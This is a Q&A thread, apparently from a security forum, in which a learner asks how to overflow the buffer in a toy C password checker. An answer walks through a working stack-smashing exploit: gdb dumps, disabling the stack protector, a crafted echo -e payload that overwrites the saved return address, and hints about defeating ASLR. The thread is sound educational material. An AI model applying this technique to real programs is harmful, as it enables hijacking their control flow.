3

I'm new to buffer overflow exploitation. I've written a simple C program which will ask user to input a string (as a password) and match that string with "1235". If matched then it will print "Access Approved", otherwise it'll print "Access Denied". Now I'm trying to overflow the string buffer which will overwrite the caller function's return address with the address for the initiation of the printing of "Access Approved". Bellow is the source code and the disassembled code of the main function (I'm using gdb to see the memory layout):

#include <stdio.h>
#include <string.h>

void main()
{
    char ch[10];
    scanf("%s", ch);
    if(strcmp("1235", ch))
    printf("\nAccess Denied\n");
    else
    printf("\nAccess Approved\n");
}

0x0000000000001169 <+0>:    push   rbp
0x000000000000116a <+1>:    mov    rbp,rsp
0x000000000000116d <+4>:    sub    rsp,0x20
0x0000000000001171 <+8>:    mov    rax,QWORD PTR fs:0x28
0x000000000000117a <+17>:   mov    QWORD PTR [rbp-0x8],rax
0x000000000000117e <+21>:   xor    eax,eax
0x0000000000001180 <+23>:   lea    rax,[rbp-0x12]
0x0000000000001184 <+27>:   mov    rsi,rax
0x0000000000001187 <+30>:   lea    rdi,[rip+0xe76]        # 0x2004
0x000000000000118e <+37>:   mov    eax,0x0
0x0000000000001193 <+42>:   call   0x1060 <__isoc99_scanf@plt>
0x0000000000001198 <+47>:   lea    rax,[rbp-0x12]
0x000000000000119c <+51>:   mov    rsi,rax
0x000000000000119f <+54>:   lea    rdi,[rip+0xe61]        # 0x2007
0x00000000000011a6 <+61>:   call   0x1050 <strcmp@plt>
0x00000000000011ab <+66>:   test   eax,eax
0x00000000000011ad <+68>:   je     0x11bd <main+84>
0x00000000000011af <+70>:   lea    rdi,[rip+0xe56]        # 0x200c
0x00000000000011b6 <+77>:   call   0x1030 <puts@plt>
0x00000000000011bb <+82>:   jmp    0x11c9 <main+96>
0x00000000000011bd <+84>:   lea    rdi,[rip+0xe57]        # 0x201b
0x00000000000011c4 <+91>:   call   0x1030 <puts@plt>
0x00000000000011c9 <+96>:   nop
0x00000000000011ca <+97>:   mov    rax,QWORD PTR [rbp-0x8]
0x00000000000011ce <+101>:  sub    rax,QWORD PTR fs:0x28
0x00000000000011d7 <+110>:  je     0x11de <main+117>
0x00000000000011d9 <+112>:  call   0x1040 <__stack_chk_fail@plt>
0x00000000000011de <+117>:  leave  
0x00000000000011df <+118>:  ret

I've figured out the memory layout of the "ch" buffer (10 byte), "QWORD PTR fs:0x28" (8 bytes), privious base pointer (8 bytes) and the return address (8 bytes) (so total of 34 bytes) and below is the gdb output with the string argument "1235":

(gdb) x/34xb $rbp-0x12
0x7fffffffe42e: 0x31    0x32    0x33    0x35    0x00    0xff    0xff    0x7f
0x7fffffffe436: 0x00    0x00    0x00    0x5d    0x2d    0xd2    0x26    0x1e
0x7fffffffe43e: 0x4d    0x0e    0xe0    0x51    0x55    0x55    0x55    0x55
0x7fffffffe446: 0x00    0x00    0x52    0xa1    0xdf    0xf7    0xff    0x7f
0x7fffffffe44e: 0x00    0x00
(gdb)

Also I've figured out the return address for the printing of the message which is 0x5555555551bd (at runtime):

0x5555555551bd <main+84>:   lea    rdi,[rip+0xe57]        # 0x55555555601b
0x5555555551c4 <main+91>:   call   0x555555555030 <puts@plt>

Now the problem is if i pass a string consisting 26 'A's and the return the address, scanf interprets everything as a character even if I pass '\x' before the address's digits. And I can't figure out how I can tell scanf that the address part is not a string. Also what is the meaning of fs:0x28?

Abhirup Bakshi
  • 167
  • 1
  • 6

1 Answers1

3

In most implementations, the char data type is equivalent to a byte. Meaning a string is just a series of arbitrary bytes, and vice versa. Those bytes do not have to be human-readable. I'll demonstrate on my system, with a slight modification to the source to make things a little clearer in the disassembly:

#include <stdio.h>
#include <string.h>

void accept_password()
{
  printf("\nPassword accepted\n");
}

void deny_password()
{
  printf("\nPassword denied\n");
}

void main()
{
  char ch[10];
  scanf("%s", ch);
  // Note that strcmp() returns 0 when a match is found,
  // so your original code was backwards
  if(strcmp("12345", ch) == 0)
  {
    accept_password();
  }
  else
  {
    deny_password();
  }
}

You will find your exercises slightly easier if you compile with -fno-omit-frame-pointer. It is frequent to see this option enabled in production code though, so don't come to rely too much on the advantages it provides.

00000000000011bb <main>:
    11bb:   55                      push   %rbp
    11bc:   48 89 e5                mov    %rsp,%rbp
    11bf:   48 83 ec 20             sub    $0x20,%rsp
    11c3:   64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
    11ca:   00 00 
    11cc:   48 89 45 f8             mov    %rax,-0x8(%rbp)
    11d0:   31 c0                   xor    %eax,%eax
    11d2:   48 8d 45 ee             lea    -0x12(%rbp),%rax
    11d6:   48 89 c6                mov    %rax,%rsi
    11d9:   48 8d 3d 48 0e 00 00    lea    0xe48(%rip),%rdi        # 2028 <_IO_stdin_used+0x28>
    11e0:   b8 00 00 00 00          mov    $0x0,%eax
    11e5:   e8 76 fe ff ff          callq  1060 <__isoc99_scanf@plt>
    11ea:   48 8d 45 ee             lea    -0x12(%rbp),%rax
    11ee:   48 89 c6                mov    %rax,%rsi
    11f1:   48 8d 3d 33 0e 00 00    lea    0xe33(%rip),%rdi        # 202b <_IO_stdin_used+0x2b>
    11f8:   e8 53 fe ff ff          callq  1050 <strcmp@plt>
    11fd:   85 c0                   test   %eax,%eax
    11ff:   75 0c                   jne    120d <main+0x52>
    1201:   b8 00 00 00 00          mov    $0x0,%eax
    1206:   e8 8a ff ff ff          callq  1195 <accept_password>
    120b:   eb 0a                   jmp    1217 <main+0x5c>
    120d:   b8 00 00 00 00          mov    $0x0,%eax
    1212:   e8 91 ff ff ff          callq  11a8 <deny_password>
    1217:   90                      nop
    1218:   48 8b 45 f8             mov    -0x8(%rbp),%rax
    121c:   64 48 2b 04 25 28 00    sub    %fs:0x28,%rax
    1223:   00 00 
    1225:   74 05                   je     122c <main+0x71>
    1227:   e8 14 fe ff ff          callq  1040 <__stack_chk_fail@plt>
    122c:   c9                      leaveq 
    122d:   c3                      retq   
    122e:   66 90                   xchg   %ax,%ax

Note the function call at offset 0x1227 (offset 0x11d9 in your code). That is GCC's stack protector feature which will foil our exploit even if we manage to achieve it. It's enabled by default in recent versions of GCC. So make sure to compile with -fno-stack-protector and that will go away.

Let's type the string AAAAA as input to start. Inspecting the memory at $rbp-0x10 looks like this:

(gdb) x/8xg $rbp-0x10
0x7fffffffd0e0: 0x41417fffffffd1e0  0x0000000000414141
0x7fffffffd0f0: 0x0000555555555200  0x00007ffff7e0ee3a
0x7fffffffd100: 0x00007fffffffd1e8  0x00000001ffffd7b9
0x7fffffffd110: 0x00005555555551ab  0x00007ffff7e0ec85

Inspect the stack frame:

(gdb) info frame
Stack level 0, frame at 0x7fffffffd100:
 rip = 0x5555555551cb in main (test.c:18); saved rip = 0x7ffff7e0ee3a
 source language c.
 Arglist at 0x7fffffffd0f0, args: 
 Locals at 0x7fffffffd0f0, Previous frame's sp is 0x7fffffffd100
 Saved registers:
  rbp at 0x7fffffffd0f0, rip at 0x7fffffffd0f8

We want to target the saved rip with an address of 0x7ffff7e0ee3a which you can see is on the right-hand side of address 0x7fffffffd0f0. Let's stuff a few more A's in there:

0x7fffffffd0e0: 0x41417fffffffd1e0  0x4141414141414141
0x7fffffffd0f0: 0x4141414141414141  0x00007ffff7e0ee00
0x7fffffffd100: 0x00007fffffffd1e8  0x00000001ffffd7b9
0x7fffffffd110: 0x00005555555551ab  0x00007ffff7e0ec85
0x7fffffffd120: 0x0000000000000000  0x67d5660bbfbf3d01
0x7fffffffd130: 0x0000555555555070  0x0000000000000000
0x7fffffffd140: 0x0000000000000000  0x0000000000000000
0x7fffffffd150: 0x3280335eb9bf3d01  0x32802360c0593d01

This is 16 A's of padding. You'll have to figure out the exact number on your system yourself. Next, take a look at the loaded assembly in gdb using layout asm. Look for the call to accept_password, on my system the line is:

0x5555555551e7 <main+60>                call   0x555555555185 <accept_password>

This is the actual address it is loaded into memory at, rather than the raw offset you see with objdump. That is the memory address we want to put into the next eight bytes. However we can't type those bytes in with a keyboard as they are not valid ASCII characters. So what we'll do instead is dump them into a file, then pipe the file in via redirection. Note that you have to write out the bytes in reverse order, because x86 is a little-endian architecture!

echo -e "AAAAAAAAAAAAAAAAAA\x85\x51\x55\x55\x55\x55" > test.txt

Execute in gdb with:

r < test.txt

Now our memory space looks like this:

(gdb) x/16xg $rbp-0x10
0x7fffffffd0e0: 0x41417fffffffd1e0  0x4141414141414141
0x7fffffffd0f0: 0x4141414141414141  0x0000555555555185
0x7fffffffd100: 0x00007fffffffd1e8  0x00000001ffffd7b9
0x7fffffffd110: 0x00005555555551ab  0x00007ffff7e0ec85
0x7fffffffd120: 0x0000000000000000  0xaa3f47a296454268
0x7fffffffd130: 0x0000555555555070  0x0000000000000000
0x7fffffffd140: 0x0000000000000000  0x0000000000000000
0x7fffffffd150: 0xff6a12f790454268  0xff6a02c9e9a34268

and our stack frame looks like this:

(gdb) info frame
Stack level 0, frame at 0x7fffffffd100:
 rip = 0x5555555551cb in main (test.c:18); saved rip = 0x555555555185
 source language c.
 Arglist at 0x7fffffffd0f0, args: 
 Locals at 0x7fffffffd0f0, Previous frame's sp is 0x7fffffffd100
 Saved registers:
  rbp at 0x7fffffffd0f0, rip at 0x7fffffffd0f8

Note how saved rip has been overwritten with the address of accept_password. Now all we need to do is continue execution and our exploit is successful:

(gdb) r < test.txt
Starting program: test < test.txt

Password denied

Password accepted

Program received signal SIGILL, Illegal instruction.
0x00007fffffffd1ea in ?? ()

(the exploit actually fires when main() returns). You may be tempted to try this outside of gdb, but you will find that it does not work. That is because of ASLR, which is turned on by default in most modern distros. You will have to either turn that off (see here) or try creating a NOP sled to defeat it, but that's beyond the scope of this answer. Hope this helps!

matoro
  • 166
  • 8
  • 1
    Thanks man...great answer. And the backward written if-else part was intentional as if matched, then ret value=0, condition=faulse, so else block executes (=Access Approved) and otherwise if block. But I still have 3 questions...1:in your system you've slightld changed the source code by adding two different functions as opposed to writting them into the main function; so I'm guessing if I do that like my original question, other techniques will be same and the alternate return address will be the one which I'd figured out in the original question. Am I right? – Abhirup Bakshi Feb 06 '21 at 06:49
  • 1
    2: what -fno-omit-frame-pointer does? 3: why scanf doesn't take all the bytes as a char if supplied from file and not from directly keyboard? – Abhirup Bakshi Feb 06 '21 at 06:52
  • 1
    @AbhirupBakshi 1. I moved the print statements into separate functions so that you would see their addresses highlighted in `layout asm` under gdb instead of having to calculate them manually. 2. Code generated by a modern compiler doesn't actually need to save the return address. `-fno-omit-frame-pointer` forces it to do so anyway. 3. Remember, a byte *is* a char. It can and would take them from the keyboard...if you could type those bytes with a keyboard! As far as I know, there's no keyboard that can type the `0x85` character - it's outside the ASCII range. – matoro Feb 08 '21 at 15:16
  • 1
    Hmmm but if i supply \x then why scanf don't take it as a escape character and thinks it's actually a \\x ? example: if i pass \x1, the memory layout is 0x1 0x78(char x) 0x5c(char \\) ; but what I want is just 0x1...like in printf, if i pass \x and 1 it will just print 1 – Abhirup Bakshi Feb 09 '21 at 19:26
  • 1
    @AbhirupBakshi Because that's what you're typing. The `\x85` is an escape sequence that `echo` interprets with the `-e` flag. The functionality to translate the characters `\x85` into the byte `0x85` comes from the `echo` builtin in your shell, or the `printf` function, or wherever - it's not a global feature that works anywhere you can type input. Unless the input source has some special support for an escape character to input raw bytes, like `echo -e`, then it's going to take what you type at face value - as ASCII characters. – matoro Feb 09 '21 at 19:45
  • ok.............. – Abhirup Bakshi Feb 09 '21 at 20:25